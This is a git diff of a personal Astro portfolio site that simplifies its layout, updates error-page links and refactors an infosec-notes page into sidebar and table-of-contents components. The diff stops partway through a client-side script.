<a href="https://ko-fi.com/anotherhadi" class="link link-hover">Support me</a> <a href="https://ko-fi.com/anotherhadi" class="link link-hover"
>Support me</a
>
</div> </div>
</div> </div>
</article> </article>
+6 -29
View File
@@ -15,26 +15,11 @@ const {
description = "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧", description = "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧",
} = Astro.props; } = Astro.props;
// Custom blur-fade animation configuration const anim = {
const blurFadeAnimation = { old: { name: "blurFadeOut", duration: "0.1s", easing: "ease-in-out", fillMode: "forwards" },
old: { new: { name: "blurFadeIn", duration: "0.1s", easing: "ease-in-out", fillMode: "backwards" },
name: "blurFadeOut",
duration: "0.1s",
easing: "ease-in-out",
fillMode: "forwards",
},
new: {
name: "blurFadeIn",
duration: "0.1s",
easing: "ease-in-out",
fillMode: "backwards",
},
};
const pageTransition = {
forwards: blurFadeAnimation,
backwards: blurFadeAnimation,
}; };
const pageTransition = { forwards: anim, backwards: anim };
const origin = Astro.url.origin; const origin = Astro.url.origin;
--- ---
@@ -49,23 +34,19 @@ const origin = Astro.url.origin;
<meta name="generator" content={Astro.generator} /> <meta name="generator" content={Astro.generator} />
<title>{title}</title> <title>{title}</title>
<!-- View Transitions -->
<ClientRouter /> <ClientRouter />
<!-- Open Graph / Social Media -->
<meta property="og:title" content={title} /> <meta property="og:title" content={title} />
<meta property="og:description" content={description} /> <meta property="og:description" content={description} />
<meta property="og:type" content="website" /> <meta property="og:type" content="website" />
<meta property="og:url" content={origin} /> <meta property="og:url" content={origin} />
<meta property="og:image" content={`${origin}/images/og_home.png`} /> <meta property="og:image" content={`${origin}/images/og_home.png`} />
<!-- Twitter -->
<meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content={title} /> <meta name="twitter:title" content={title} />
<meta name="twitter:description" content={description} /> <meta name="twitter:description" content={description} />
<meta name="twitter:image" content={`${origin}/images/og_home.png`} /> <meta name="twitter:image" content={`${origin}/images/og_home.png`} />
<!-- RSS Feed -->
<link <link
rel="alternate" rel="alternate"
type="application/rss+xml" type="application/rss+xml"
@@ -78,8 +59,7 @@ const origin = Astro.url.origin;
defer defer
src="https://umami.hadi.icu/script.js" src="https://umami.hadi.icu/script.js"
data-website-id="91b0c3a1-130a-4974-be47-078bc092cec8" data-website-id="91b0c3a1-130a-4974-be47-078bc092cec8"
data-domains="hadi.icu,www.hadi.icu" data-domains="hadi.icu,www.hadi.icu"></script>
></script>
</head> </head>
<body class="min-h-screen pt-12"> <body class="min-h-screen pt-12">
<Navbar /> <Navbar />
@@ -88,13 +68,11 @@ const origin = Astro.url.origin;
<Oneko /> <Oneko />
<Console /> <Console />
<!-- Smooth Scroll -->
<style is:global> <style is:global>
html { html {
scroll-behavior: smooth; scroll-behavior: smooth;
} }
/* Initial Page Load Blur-Fade Animation */
@keyframes pageLoadBlurFade { @keyframes pageLoadBlurFade {
0% { 0% {
opacity: 0; opacity: 0;
@@ -107,11 +85,10 @@ const origin = Astro.url.origin;
} }
html { html {
animation: pageLoadBlurFade 0.3s ease-in-out; animation: pageLoadBlurFade 0.1s ease-in-out;
animation-fill-mode: both; animation-fill-mode: both;
} }
/* Blur Fade View Transitions (for page-to-page navigation) */
@keyframes blurFadeIn { @keyframes blurFadeIn {
0% { 0% {
opacity: 0; opacity: 0;
-231
View File
@@ -1,231 +0,0 @@
---
import Layout from "./Layout.astro";
import { Image } from "astro:assets";
import TagBadge from "../components/TagBadge.astro";
import { ChevronLeft, ExternalLink } from "@lucide/astro";
interface Props {
title: string;
description: string;
image: any;
tags: string[];
demoLink?: string;
url?: string;
sourceLink?: string;
}
const { title, description, image, tags, demoLink, url, sourceLink } =
Astro.props;
---
<Layout title={`${title} - Another Hadi`} description={description}>
<article class="max-w-4xl mx-auto px-4 py-20">
<!-- Back button -->
<div class="mb-8 flex flex-wrap justify-between gap-5">
<a href="/projects" class="btn btn-ghost btn-sm">
<ChevronLeft size={18} />
Back to Projects
</a>
</div>
<!-- Featured Image -->
<!-- TODO: Future Enhancement - Support multiple images/project gallery -->
{
image && (
<figure class="mb-8 rounded-2xl overflow-hidden">
<Image
src={image}
alt={title}
class="w-full aspect-video object-cover"
width={1200}
height={630}
/>
</figure>
)
}
<!-- Project Header -->
<header class="mb-8">
<h1 class="text-5xl font-bold mb-4">{title}</h1>
<p class="text-xl text-base-content/70 mb-6">{description}</p>
<!-- Prominent Action Buttons -->
{
(demoLink || sourceLink) && (
<div class="flex flex-wrap gap-3 mb-6">
{demoLink && (
<a
href={demoLink}
target="_blank"
rel="noopener noreferrer"
class="btn btn-primary gap-2"
>
<ExternalLink class="size-5" />
Live Demo
</a>
)}
{url && (
<a
href={url}
target="_blank"
rel="noopener noreferrer"
class="btn btn-soft gap-2"
>
<ExternalLink class="size-4" />
Website
</a>
)}
{sourceLink && (
<a
href={sourceLink}
target="_blank"
rel="noopener noreferrer"
class="btn btn-soft gap-2"
>
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 32 32"
fill="currentColor"
>
<path d="M16,2.345c7.735,0,14,6.265,14,14-.002,6.015-3.839,11.359-9.537,13.282-.7,.14-.963-.298-.963-.665,0-.473,.018-1.978,.018-3.85,0-1.312-.437-2.152-.945-2.59,3.115-.35,6.388-1.54,6.388-6.912,0-1.54-.543-2.783-1.435-3.762,.14-.35,.63-1.785-.14-3.71,0,0-1.173-.385-3.85,1.435-1.12-.315-2.31-.472-3.5-.472s-2.38,.157-3.5,.472c-2.677-1.802-3.85-1.435-3.85-1.435-.77,1.925-.28,3.36-.14,3.71-.892,.98-1.435,2.24-1.435,3.762,0,5.355,3.255,6.563,6.37,6.913-.403,.35-.77,.963-.893,1.872-.805,.368-2.818,.963-4.077-1.155-.263-.42-1.05-1.452-2.152-1.435-1.173,.018-.472,.665,.017,.927,.595,.332,1.277,1.575,1.435,1.978,.28,.787,1.19,2.293,4.707,1.645,0,1.173,.018,2.275,.018,2.607,0,.368-.263,.787-.963,.665-5.719-1.904-9.576-7.255-9.573-13.283,0-7.735,6.265-14,14-14Z" />
</svg>
View Source
</a>
)}
</div>
)
}
</header>
<!-- Tags -->
{
tags && tags.length > 0 && (
<div class="flex flex-wrap gap-2 mt-4">
{tags.map((tag) => (
<TagBadge tag={tag} />
))}
</div>
)
}
<!-- Divider -->
<div class="divider"></div>
<!-- Project Content -->
<div class="prose-content max-w-none">
<slot />
</div>
<!-- Divider -->
<div class="divider mt-12"></div>
<!-- Back to projects link -->
<div class="flex justify-center gap-2 mt-12">
<div class="flex gap-3 justify-center flex-wrap text-sm">
<a href="/projects" class="link link-hover"
>View All Projects</a
>
<span class="text-base-content/30">•</span>
<a href="/#contact" class="link link-hover">Contact me</a>
<span class="text-base-content/30">•</span>
<a href="https://ko-fi.com/anotherhadi" class="link link-hover"
>Support me</a
>
</div>
</div>
</article>
</Layout>
<style is:global>
.prose-content {
color: inherit;
line-height: 1.75;
}
.prose-content h1,
.prose-content h2,
.prose-content h3,
.prose-content h4,
.prose-content h5,
.prose-content h6 {
font-weight: 700;
margin-top: 2rem;
margin-bottom: 1rem;
}
.prose-content h1 {
font-size: 2.25rem;
}
.prose-content h2 {
font-size: 1.875rem;
}
.prose-content h3 {
font-size: 1.5rem;
}
.prose-content p {
margin-bottom: 1rem;
}
.prose-content a {
text-decoration: underline;
}
.prose-content ul,
.prose-content ol {
margin-bottom: 1rem;
margin-left: 1.5rem;
list-style-position: outside;
}
.prose-content ul {
list-style-type: disc;
}
.prose-content ol {
list-style-type: decimal;
}
.prose-content li {
margin-bottom: 0.5rem;
}
.prose-content code {
padding: 0.125rem 0.375rem;
border-radius: 0.25rem;
font-size: 0.875rem;
font-family: ui-monospace, monospace;
}
.prose-content pre {
padding: 1rem;
border-radius: 0.5rem;
overflow-x: auto;
margin-bottom: 1rem;
}
.prose-content pre code {
background: transparent;
padding: 0;
}
.prose-content blockquote {
border-left-width: 4px;
padding-left: 1rem;
font-style: italic;
margin: 1rem 0;
}
.prose-content img {
border-radius: 0.5rem;
margin: 1.5rem 0;
}
.prose-content strong {
font-weight: 600;
}
</style>
+3 -5
View File
@@ -30,10 +30,6 @@ import { House, FolderOpen } from "@lucide/astro";
<House class="size-5" /> <House class="size-5" />
Go Home Go Home
</a> </a>
<a href="/projects" class="btn btn-outline gap-2">
<FolderOpen class="size-5" />
View Projects
</a>
</div> </div>
<!-- Helpful Links --> <!-- Helpful Links -->
@@ -44,7 +40,9 @@ import { House, FolderOpen } from "@lucide/astro";
<div class="flex gap-3 justify-center flex-wrap text-sm"> <div class="flex gap-3 justify-center flex-wrap text-sm">
<a href="/blog" class="link link-hover">Blog</a> <a href="/blog" class="link link-hover">Blog</a>
<span class="text-base-content/30">•</span> <span class="text-base-content/30">•</span>
<a href="/projects" class="link link-hover">All my Projects</a> <a href="/projects" class="link link-hover">Projects</a>
<span class="text-base-content/30">•</span>
<a href="/notes" class="link link-hover">Infosec Notes</a>
</div> </div>
</div> </div>
</div> </div>
+3 -5
View File
@@ -30,10 +30,6 @@ import { House, FolderOpen } from "@lucide/astro";
<House class="size-5" /> <House class="size-5" />
Go Home Go Home
</a> </a>
<a href="/projects" class="btn btn-outline gap-2">
<FolderOpen class="size-5" />
View Projects
</a>
</div> </div>
<!-- Helpful Links --> <!-- Helpful Links -->
@@ -44,7 +40,9 @@ import { House, FolderOpen } from "@lucide/astro";
<div class="flex gap-3 justify-center flex-wrap text-sm"> <div class="flex gap-3 justify-center flex-wrap text-sm">
<a href="/blog" class="link link-hover">Blog</a> <a href="/blog" class="link link-hover">Blog</a>
<span class="text-base-content/30">•</span> <span class="text-base-content/30">•</span>
<a href="/projects" class="link link-hover">All my Projects</a> <a href="/projects" class="link link-hover">Projects</a>
<span class="text-base-content/30">•</span>
<a href="/notes" class="link link-hover">Infosec Notes</a>
</div> </div>
</div> </div>
</div> </div>
+6
View File
@@ -68,6 +68,12 @@ if (error instanceof Error) {
rel="noopener noreferrer" rel="noopener noreferrer"
class="link link-hover">Report Issue</a class="link link-hover">Report Issue</a
> >
<span class="text-base-content/30">•</span>
<a href="/blog" class="link link-hover">Blog</a>
<span class="text-base-content/30">•</span>
<a href="/projects" class="link link-hover">Projects</a>
<span class="text-base-content/30">•</span>
<a href="/notes" class="link link-hover">Infosec Notes</a>
</div> </div>
</div> </div>
</div> </div>
+6
View File
@@ -68,6 +68,12 @@ if (error instanceof Error) {
rel="noopener noreferrer" rel="noopener noreferrer"
class="link link-hover">Report Issue</a class="link link-hover">Report Issue</a
> >
<span class="text-base-content/30">•</span>
<a href="/blog" class="link link-hover">Blog</a>
<span class="text-base-content/30">•</span>
<a href="/projects" class="link link-hover">Projects</a>
<span class="text-base-content/30">•</span>
<a href="/notes" class="link link-hover">Infosec Notes</a>
</div> </div>
</div> </div>
</div> </div>
+6 -2
View File
@@ -10,7 +10,6 @@ const blogPosts = await getCollection("blog");
const sortedPosts = blogPosts.sort( const sortedPosts = blogPosts.sort(
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime(), (a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime(),
); );
--- ---
<Layout <Layout
@@ -46,7 +45,12 @@ const sortedPosts = blogPosts.sort(
) : ( ) : (
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8"> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
{sortedPosts.map((post) => ( {sortedPosts.map((post) => (
<BlogCard post={post} /> <BlogCard
displayBanner={true}
displayTags={true}
displayDate={true}
post={post}
/>
))} ))}
</div> </div>
) )
+7 -2
View File
@@ -3,26 +3,31 @@ import Layout from "../layouts/Layout.astro";
import Hero from "../components/Hero.astro"; import Hero from "../components/Hero.astro";
import Projects from "../components/Projects.astro"; import Projects from "../components/Projects.astro";
import Blog from "../components/Blog.astro"; import Blog from "../components/Blog.astro";
import Notes from "../components/Notes.astro";
import Contact from "../components/Contact.astro"; import Contact from "../components/Contact.astro";
import { siteConfig } from "../config"; import { siteConfig } from "../config";
import avatar from "../../public/avatar.jpg"; import avatar from "../../public/avatar.jpg";
--- ---
<Layout title={`Another Hadi`} description={siteConfig.description}> <Layout title={`Another Hadi`} description={siteConfig.description}>
<main> <main class="px-10">
<Hero <Hero
name={siteConfig.name} name={siteConfig.name}
title={siteConfig.title} title={siteConfig.title}
description={siteConfig.description} description={siteConfig.description}
avatar={avatar} avatar={avatar}
location={siteConfig.location}
socialLinks={siteConfig.socialLinks} socialLinks={siteConfig.socialLinks}
gpgKey={siteConfig.gpgKey} gpgKey={siteConfig.gpgKey}
rssFeed={siteConfig.rssFeed} rssFeed={siteConfig.rssFeed}
/> />
<hr class="border-base-300/30 max-w-6xl mx-auto" />
<Blog /> <Blog />
<hr class="border-base-300/30 max-w-6xl mx-auto" />
<Notes />
<hr class="border-base-300/30 max-w-6xl mx-auto" />
<Projects /> <Projects />
<hr class="border-base-300/30 max-w-6xl mx-auto" />
<Contact /> <Contact />
</main> </main>
</Layout> </Layout>
+229 -481
View File
@@ -1,7 +1,12 @@
--- ---
import { getCollection, render } from "astro:content"; import { getCollection, render } from "astro:content";
import Layout from "../../layouts/Layout.astro"; import Layout from "../../layouts/Layout.astro";
import { Shield, ChevronLeft, List, PanelRight } from "@lucide/astro"; import { List, PanelRight } from "@lucide/astro";
import NoteTOC from "../../components/NoteTOC.astro";
import NoteNavSidebar from "../../components/NoteNavSidebar.astro";
import NoteGraphSidebar from "../../components/NoteGraphSidebar.astro";
import NoteVars from "../../components/NoteVars.svelte";
import { getCategory, extractLinks, extractExternalLinks } from "../../utils/notes";
export async function getStaticPaths() { export async function getStaticPaths() {
const notes = await getCollection("notes"); const notes = await getCollection("notes");
@@ -12,35 +17,31 @@ export async function getStaticPaths() {
} }
const { entry } = Astro.props; const { entry } = Astro.props;
const { Content } = await render(entry); const { Content, headings: astroHeadings } = await render(entry);
const allNotes = await getCollection("notes"); const allNotes = await getCollection("notes");
const sortedNotes = allNotes.sort((a, b) => a.data.title.localeCompare(b.data.title)); const sortedNotes = allNotes.sort((a, b) =>
const categories = [...new Set(allNotes.map((n) => n.data.category))].sort(); a.data.title.localeCompare(b.data.title),
);
const categories = [...new Set(allNotes.map(getCategory))].sort();
function formatDate(date: Date) { const allLinks = Object.fromEntries(
return date.toLocaleDateString("en-US", { month: "short", day: "numeric", year: "numeric" }); allNotes.map((n) => [n.id, extractLinks(n.body ?? "")]),
} );
function extractLinks(body: string): string[] {
const re = /\(\/notes\/([^)#\s]+)\)/g;
const ids: string[] = [];
let m;
while ((m = re.exec(body)) !== null) ids.push(m[1]);
return [...new Set(ids)];
}
const allLinks = Object.fromEntries(allNotes.map((n) => [n.id, extractLinks(n.body ?? "")]));
const forwardLinks = (allLinks[entry.id] ?? []) const forwardLinks = (allLinks[entry.id] ?? [])
.map((id) => allNotes.find((n) => n.id === id)) .map((id) => allNotes.find((n) => n.id === id))
.filter(Boolean) as typeof allNotes; .filter(Boolean) as typeof allNotes;
const backlinks = allNotes.filter( const backlinks = allNotes.filter(
(n) => n.id !== entry.id && (allLinks[n.id] ?? []).includes(entry.id) (n) => n.id !== entry.id && (allLinks[n.id] ?? []).includes(entry.id),
); );
const graphNodes = [ const graphNodes = [
{ id: entry.id, title: entry.data.title, current: true }, { id: entry.id, title: entry.data.title, current: true },
...forwardLinks.map((n) => ({ id: n.id, title: n.data.title, current: false })), ...forwardLinks.map((n) => ({
id: n.id,
title: n.data.title,
current: false,
})),
...backlinks ...backlinks
.filter((n) => !forwardLinks.some((f) => f.id === n.id)) .filter((n) => !forwardLinks.some((f) => f.id === n.id))
.map((n) => ({ id: n.id, title: n.data.title, current: false })), .map((n) => ({ id: n.id, title: n.data.title, current: false })),
@@ -50,467 +51,231 @@ const graphEdges = [
...backlinks.map((n) => ({ from: n.id, to: entry.id })), ...backlinks.map((n) => ({ from: n.id, to: entry.id })),
]; ];
function slugify(text: string) { const noteVars = [
return text.toLowerCase().replace(/`[^`]*`/g, "").replace(/[^\w\s-]/g, "").trim().replace(/[\s_]+/g, "-"); ...new Set(
} Array.from(
const headings: { depth: number; text: string; id: string }[] = []; (entry.body ?? "").matchAll(/\$([a-zA-Z_][a-zA-Z0-9_]*)/g),
const headingRe = /^(#{2,4}) (.+)$/gm; (m) => m[1],
let hm; ),
while ((hm = headingRe.exec(entry.body ?? "")) !== null) { ),
const raw = hm[2].trim().replace(/\*\*|__|\*|_|`/g, ""); ];
headings.push({ depth: hm[1].length, text: raw, id: slugify(raw) });
} const headings = astroHeadings.map((h) => ({ depth: h.depth, text: h.text, id: h.slug }));
const externalLinks = extractExternalLinks(entry.body ?? "");
--- ---
<style>
@media (min-width: 768px) {
.drawer.md\:drawer-open > .drawer-side {
top: 3rem;
height: calc(100vh - 3rem);
}
}
@media (min-width: 1280px) {
.drawer.xl\:drawer-open > .drawer-side {
top: 3rem;
height: calc(100vh - 3rem);
}
}
</style>
<Layout <Layout
title={`${entry.data.title} — Security Notes`} title={`${entry.data.title} - Infosec Notes`}
description={entry.data.description} description={entry.data.description}
> >
<main class="max-w-screen-2xl mx-auto">
<div class="drawer md:drawer-open min-h-[calc(100vh-3rem)]">
<input id="nav-drawer" type="checkbox" class="drawer-toggle" />
<div class="drawer drawer-end min-h-[calc(100vh-3rem)]"> <div class="drawer-content flex min-h-[calc(100vh-3rem)] min-w-0">
<input id="graph-drawer" type="checkbox" class="drawer-toggle" /> <div class="drawer drawer-end xl:drawer-open w-full" id="right-drawer">
<input id="graph-drawer" type="checkbox" class="drawer-toggle" />
<div class="drawer-content flex min-h-[calc(100vh-3rem)]"> <div class="drawer-content flex flex-col min-w-0">
<main class="flex-1 px-4 sm:px-6 lg:px-10 py-6 lg:py-10 min-w-0">
<div class="drawer lg:drawer-open w-full"> <div class="max-w-3xl mx-auto lg:mx-0">
<input id="nav-drawer" type="checkbox" class="drawer-toggle" /> <div class="flex items-center justify-between mb-6">
<div
<div class="drawer-content flex flex-col min-w-0"> class="breadcrumbs text-xs font-mono text-base-content/35 p-0"
<main class="flex-1 px-4 sm:px-6 lg:px-10 py-6 lg:py-10 min-w-0">
<div class="max-w-2xl mx-auto lg:mx-0">
<div class="flex items-center justify-between mb-6">
<a href="/notes" class="inline-flex items-center gap-1 text-sm text-base-content/35 hover:text-base-content/70 transition-colors">
<ChevronLeft size={14} />Notes
</a>
<div class="flex items-center gap-2">
<label
for="nav-drawer"
class="lg:hidden flex items-center gap-1.5 font-mono text-xs text-base-content/40 hover:text-base-content/70 transition-colors border border-base-300/50 px-2 py-1 cursor-pointer"
> >
<List size={11} /> <ul>
nav
</label>
<label
for="graph-drawer"
id="graph-toggle"
class="flex items-center gap-1.5 font-mono text-xs text-base-content/40 hover:text-base-content/70 transition-colors border border-base-300/50 px-2 py-1 cursor-pointer"
title="Toggle graph"
>
<PanelRight size={11} />
graph
</label>
</div>
</div>
<header class="mb-10">
<div class="flex items-center gap-3 mb-5">
<span class="text-xl font-bold tracking-tight">
<span class="text-primary/50 font-mono mr-0.5">/</span>{entry.data.category}
</span>
<span class="text-base-content/20 text-xs">·</span>
<time datetime={entry.data.publishDate.toISOString()} class="text-xs text-base-content/35">
{formatDate(entry.data.publishDate)}
</time>
</div>
<h1 class="text-4xl sm:text-5xl font-bold tracking-tight mb-3">{entry.data.title}</h1>
<p class="text-base-content/50 mb-4">{entry.data.description}</p>
{entry.data.tags.length > 0 && (
<div class="flex flex-wrap gap-1">
{entry.data.tags.map((tag) => (
<a href={`/notes?tag=${tag}`}
class="font-mono text-[10px] px-1.5 py-0.5 border border-base-300/40 text-base-content/25 hover:text-primary/70 hover:border-primary/40 transition-colors">
{tag}
</a>
))}
</div>
)}
</header>
<div class="border-t border-base-300/30 mb-6"></div>
{headings.length > 0 && (
<details class="mb-8 border border-base-300/40 group" style="background: oklch(4% 0 0);">
<summary class="px-3 py-2 flex items-center gap-2 cursor-pointer list-none select-none font-mono text-xs text-base-content/35 hover:text-base-content/60 transition-colors">
<span class="text-primary/40">§</span>
<span>table of contents</span>
<span class="ml-auto opacity-50 group-open:hidden">+</span>
<span class="ml-auto opacity-50 hidden group-open:inline"></span>
</summary>
<nav class="px-3 pb-3 pt-1 border-t border-base-300/30 space-y-0.5">
{headings.map((h) => (
<a href={`#${h.id}`}
class:list={["block text-xs text-base-content/45 hover:text-base-content/80 transition-colors py-0.5", h.depth === 3 ? "pl-4" : h.depth === 4 ? "pl-8" : ""]}>
<span class="font-mono text-primary/25 mr-1.5">{"#".repeat(h.depth)}</span>{h.text}
</a>
))}
</nav>
</details>
)}
<div class="note-content text-sm leading-relaxed text-base-content/80
[&_h2]:text-lg [&_h2]:font-bold [&_h2]:mt-8 [&_h2]:mb-3 [&_h2]:text-base-content [&_h2]:tracking-tight [&_h2]:pb-1.5 [&_h2]:border-b [&_h2]:border-base-300/30
[&_h3]:text-base [&_h3]:font-semibold [&_h3]:mt-6 [&_h3]:mb-2 [&_h3]:text-base-content/90
[&_h4]:text-sm [&_h4]:font-semibold [&_h4]:mt-4 [&_h4]:mb-2 [&_h4]:text-base-content/80
[&_p]:mb-4 [&_p]:leading-relaxed
[&_a]:text-primary/80 [&_a]:underline [&_a]:underline-offset-2 [&_a]:hover:text-primary [&_a]:transition-colors
[&_ul]:mb-4 [&_ul]:ml-5 [&_ul]:list-none [&_ul]:space-y-1
[&_ul_li]:before:content-[''] [&_ul_li]:before:text-base-content/25 [&_ul_li]:before:mr-2 [&_ul_li]:before:font-mono
[&_ol]:mb-4 [&_ol]:ml-5 [&_ol]:list-decimal [&_ol]:space-y-1
[&_li]:text-base-content/75
[&_code]:px-1.5 [&_code]:py-0.5 [&_code]:font-mono [&_code]:text-xs [&_code]:bg-base-200 [&_code]:text-primary/80 [&_code]:border [&_code]:border-base-300/50
[&_pre]:p-4 [&_pre]:overflow-x-auto [&_pre]:mb-4 [&_pre]:bg-base-200/60 [&_pre]:border [&_pre]:border-base-300/50 [&_pre]:text-xs
[&_pre_code]:bg-transparent [&_pre_code]:border-0 [&_pre_code]:p-0 [&_pre_code]:text-base-content/80
[&_blockquote]:border-l-2 [&_blockquote]:border-primary/25 [&_blockquote]:pl-4 [&_blockquote]:italic [&_blockquote]:my-4 [&_blockquote]:text-base-content/50
[&_table]:w-full [&_table]:mb-6 [&_table]:text-xs [&_table]:border-collapse
[&_th]:text-left [&_th]:px-3 [&_th]:py-2 [&_th]:border [&_th]:border-base-300/50 [&_th]:bg-base-200/60 [&_th]:font-mono [&_th]:text-[10px] [&_th]:uppercase [&_th]:tracking-widest [&_th]:text-base-content/50
[&_td]:px-3 [&_td]:py-2 [&_td]:border [&_td]:border-base-300/40 [&_td]:font-mono [&_td]:text-xs [&_td]:text-base-content/70
[&_tr:nth-child(even)_td]:bg-base-200/20
[&_hr]:border-t [&_hr]:border-base-300/30 [&_hr]:my-8">
<Content />
</div>
<div class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25">
<a href="/notes" class="hover:text-base-content/50 transition-colors">← all notes</a>
<a href="/" class="hover:text-base-content/50 transition-colors">~/hadi</a>
</div>
</div>
</main>
</div>
<div class="drawer-side z-50">
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
<aside
class="w-56 min-h-full flex flex-col border-r border-base-300/60"
style="background: oklch(4% 0 0);"
>
<div class="px-4 py-4 border-b border-base-300/40">
<a href="/notes" class="flex items-center gap-2 mb-3 hover:text-primary transition-colors">
<Shield size={13} class="text-primary/60 shrink-0" />
<span class="font-mono text-xs text-primary/60 tracking-widest uppercase">security notes</span>
</a>
<div class="flex items-center gap-1.5 bg-base-200/50 px-2 py-1.5 border border-base-300/40">
<span class="font-mono text-xs text-base-content/30"></span>
<input
data-search
type="text"
placeholder="search..."
class="bg-transparent font-mono text-xs text-base-content/70 placeholder:text-base-content/25 outline-none w-full"
/>
</div>
</div>
<nav class="px-3 py-3 flex-1 overflow-y-auto">
{categories.map((cat) => (
<div class="mb-4">
<div class="px-1 mb-1.5">
<span class="text-sm font-bold tracking-tight">
<span class="text-primary/50 font-mono mr-0.5">/</span>{cat}
</span>
</div>
<ul class="ml-3 space-y-0.5 border-l border-base-300/30 pl-2">
{sortedNotes.filter((n) => n.data.category === cat).map((n) => (
<li> <li>
<a <a href="/notes" class="hover:text-base-content/70"
href={`/notes/${n.id}`} >notes</a
class:list={[
"nav-item font-mono text-xs block py-0.5 px-1 truncate transition-colors",
n.id === entry.id
? "text-primary bg-primary/8"
: "text-base-content/45 hover:text-base-content/80 hover:bg-base-200/30",
]}
data-title={n.data.title.toLowerCase()}
data-tags={n.data.tags.join(",")}
> >
{n.id === entry.id ? "▶ " : ""}{n.data.title}
</a>
</li> </li>
))} <li>
</ul> {
entry.id.includes("/") ? (
<a
href={`/notes/${getCategory(entry)}`}
class="hover:text-base-content/70"
>
{getCategory(entry)}
</a>
) : (
getCategory(entry)
)
}
</li>
</ul>
</div>
<div class="flex items-center gap-2">
<label
for="nav-drawer"
class="btn btn-ghost btn-xs md:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
>
<List size={11} />
nav
</label>
<NoteVars client:load vars={noteVars} />
<label
for="graph-drawer"
id="graph-toggle"
class="btn btn-ghost btn-xs xl:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
title="Toggle graph"
>
<PanelRight size={11} />
graph
</label>
</div>
</div> </div>
))}
</nav> <header class="mb-8">
</aside> <h1
class="text-4xl sm:text-5xl font-bold tracking-tight mb-3"
>
{entry.data.title}
</h1>
<p class="text-base-content/50 mb-4">
{entry.data.description}
</p>
{
entry.data.tags.length > 0 && (
<div class="flex flex-wrap gap-1 mb-4">
{entry.data.tags.map((tag) => (
<a
href={`/notes?tag=${tag}`}
class="badge badge-ghost badge-xs font-mono text-base-content/30 hover:text-primary/70 transition-colors"
>
{tag}
</a>
))}
</div>
)
}
</header>
<NoteTOC headings={headings} />
<div
class="note-content text-sm leading-relaxed text-base-content/80
[&_h2]:text-lg [&_h2]:font-bold [&_h2]:mt-8 [&_h2]:mb-3 [&_h2]:text-base-content [&_h2]:tracking-tight [&_h2]:pb-1.5 [&_h2]:border-b [&_h2]:border-base-300/30
[&_h3]:text-base [&_h3]:font-semibold [&_h3]:mt-6 [&_h3]:mb-2 [&_h3]:text-base-content/90
[&_h4]:text-sm [&_h4]:font-semibold [&_h4]:mt-4 [&_h4]:mb-2 [&_h4]:text-base-content/80
[&_p]:mb-4 [&_p]:leading-relaxed
[&_a]:text-primary/80 [&_a]:underline [&_a]:underline-offset-2 [&_a]:hover:text-primary [&_a]:transition-colors
[&_ul]:mb-4 [&_ul]:ml-5 [&_ul]:list-none [&_ul]:space-y-1
[&_ul_li]:before:content-[''] [&_ul_li]:before:text-base-content/25 [&_ul_li]:before:mr-2 [&_ul_li]:before:font-mono
[&_ol]:mb-4 [&_ol]:ml-5 [&_ol]:list-decimal [&_ol]:space-y-1
[&_li]:text-base-content/75
[&_code]:px-1.5 [&_code]:py-0.5 [&_code]:rounded-field [&_code]:font-mono [&_code]:text-xs [&_code]:bg-base-200 [&_code]:text-primary/80 [&_code]:border [&_code]:border-base-300/50
[&_pre]:p-4 [&_pre]:overflow-x-auto [&_pre]:mb-4 [&_pre]:rounded-box [&_pre]:bg-base-200/60 [&_pre]:border [&_pre]:border-base-300/50 [&_pre]:text-xs
[&_pre_code]:bg-transparent [&_pre_code]:border-0 [&_pre_code]:p-0 [&_pre_code]:text-base-content/80
[&_blockquote]:border-l-2 [&_blockquote]:border-primary/25 [&_blockquote]:pl-4 [&_blockquote]:italic [&_blockquote]:my-4 [&_blockquote]:text-base-content/50
[&_table]:w-full [&_table]:mb-6 [&_table]:text-xs [&_table]:border-collapse
[&_th]:text-left [&_th]:px-3 [&_th]:py-2 [&_th]:border [&_th]:border-base-300/50 [&_th]:bg-base-200/60 [&_th]:font-mono [&_th]:text-[10px] [&_th]:uppercase [&_th]:tracking-widest [&_th]:text-base-content/50
[&_td]:px-3 [&_td]:py-2 [&_td]:border [&_td]:border-base-300/40 [&_td]:font-mono [&_td]:text-xs [&_td]:text-base-content/70
[&_tr:nth-child(even)_td]:bg-base-200/20
[&_hr]:border-t [&_hr]:border-base-300/30 [&_hr]:my-8"
>
<Content />
</div>
<div
class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25"
>
<a
href="/notes"
class="hover:text-base-content/50 transition-colors"
>
← all notes
</a>
<a
href="/"
class="hover:text-base-content/50 transition-colors"
>
~/hadi
</a>
</div>
</div>
</main>
</div>
<div class="drawer-side z-[60]">
<label
for="graph-drawer"
aria-label="close sidebar"
class="drawer-overlay"></label>
<NoteGraphSidebar
entry={entry}
graphNodes={graphNodes}
graphEdges={graphEdges}
forwardLinks={forwardLinks}
backlinks={backlinks}
externalLinks={externalLinks}
/>
</div>
</div> </div>
</div> </div>
<div class="drawer-side z-[70]">
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
<NoteNavSidebar
notes={sortedNotes}
currentEntry={entry}
categories={categories}
/>
</div>
</div> </div>
</main>
</Layout>
<div class="drawer-side z-40"> <script>
<label for="graph-drawer" aria-label="close sidebar" class="drawer-overlay xl:hidden"></label> function injectHeadingAnchors() {
<aside if (!document.getElementById("heading-anchor-styles")) {
id="right-sidebar" const s = document.createElement("style");
class="w-52 min-h-full flex flex-col border-l border-base-300/60" s.id = "heading-anchor-styles";
style="background: oklch(4% 0 0);" s.textContent = `
> .note-content h2:not(.link-card h2),
